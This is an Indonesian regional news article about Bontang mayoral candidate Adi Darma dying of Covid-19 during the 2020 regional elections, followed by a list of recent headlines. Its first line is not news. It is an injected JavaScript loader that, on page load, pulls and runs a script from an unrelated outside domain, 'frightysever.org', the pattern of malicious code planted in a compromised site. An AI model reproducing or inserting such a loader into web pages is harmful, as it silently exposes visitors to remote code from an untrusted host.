(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: pilkada 2020

Terkonfirmasi Covid-19, Calon Wali Kota Bontang Adi Darma Meninggal Dunia


KANALKALIMANTAN.COM , BONTANG – Lagi, calon kepala daerah di Kalimantan Timur meninggal karena Covid-19. Pilkada 2020 di tengah pandemi memang beresiko tinggi menambah besar penularan virus corona.

Setelah sebelumnya Calon Bupati Berau Muharram, kini Calon Wali Kota Bontang Adi Darma meninggal dunia setelah menjalani perawatan akibat Covid-19, Kamis (1/10/2020). Adi Darma yang maju di Pilkada 2020 meninggal dunia sekira 11.40 Wita.

“Iya, benar,” kata Ketua Tim Pemenangan Adi-Basri, H Maming saat dikonfirmasi melalui sambungan telepon.

Meski demikian, Maming enggan memberi keterangan lebih lanjut.

“Nanti ya,” katanya.

Diketahui Adi Darma dirawat di RSUD Bontang sejak 23 September 2020 dan berstatus pasien terkonfirmasi positif covid-19 yang ditetapkan oleh Tim Gugus Tugas Bontang.

Adi Darma adalah Wali Kota Bontang periode 2011-2016. Adi Darma terpilih setelah mengalahkan Neni Moerniaeni.

Kemudian pada Pilkada serentak 2015, Neni berhasil mengalahkan Adi Darma.

Persaingan keduanya kembali terjadi pada Pilkada tahun ini untuk yang ketiga kalinya.

Baru saja masa kampanye dimulai, Adi Darma harus terbaring di rumah sakit akibat Covid-19.

Dia pun melewatkan kesempatan berkampanye hingga kemudian meninggal dunia pada Kamis (1/10/2020) hari ini.

Neni menyebut pesaingnya tersebut setara dengan mati syahid.

Sebab, di massa pandemi seperti saat ini, semua orang sedang berjuang melawan virus yang melanda seluruh dunia.

 “Insya Allah beliau syahid, wafat dalam keadaan khusnul khotimah,” kata Neni melalui pesan singkat.

Neni pun mendoakan Adi Darma agar mendapat tempat terbaik di sisi yang maha kuasa.

Keluarga yang ditinggalkan juga diberi ketabahan menghadapi musibah ini.

“Kita doakan almarhum diterima segala amal sholihnya, diampuni segala khilaf dan dosanya dan diberikan tempat yang mulia di sisi-Nya.

Keluarga yang ditinggalkan semoga senantiasa diberi ketabahan dan kesabaran. Amin,” kata Neni. (fatahillah awaluddin/suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

7 jam ago

Aksi Solidaritas untuk Juwita Gaungkan Dukungan Keadilan bagi Korban Femisida

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah pihak menyuarakan dugaan tindak femisida dalam kasus pembunuhan wartawati media daring… Read More

7 jam ago

DPRD Banjarbaru Beri Atensi pada Proses Hukum yang Adil bagi Tersangka Jumran

KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyatakan komitmennya untuk mengawal proses… Read More

7 jam ago

Terobos Cuaca Ekstrem di Muara Teweh, PLN Gerak Cepat Pulihkan Gangguan Jaringan Transmisi saat Idulfitri

KANALKALIMANTAN.COM, MUARA TEWEH – Di kala perayaan sukacita Idulfitri masih berlangsung, para insan PLN Unit… Read More

14 jam ago

Aksi Solidaritas untuk Juwita, Kawal Pengadilan Terbuka Terhadap Tersangka J

KANALKALIMANTAN.COM, BANJARBARU - Kawanan Jurnalis di Banjarbaru bersama mahasiswa dan organisasi menggelar aksi solidaritas mengawal… Read More

1 hari ago

Selain Dibunuh, Juwita Diduga Dirudapaksa J

KANALKALIMANTAN.COM, BANJARBARU - Proses penyidikan kematian tak wajar wartawati media online di Banjarbaru, Juwita yang… Read More

1 hari ago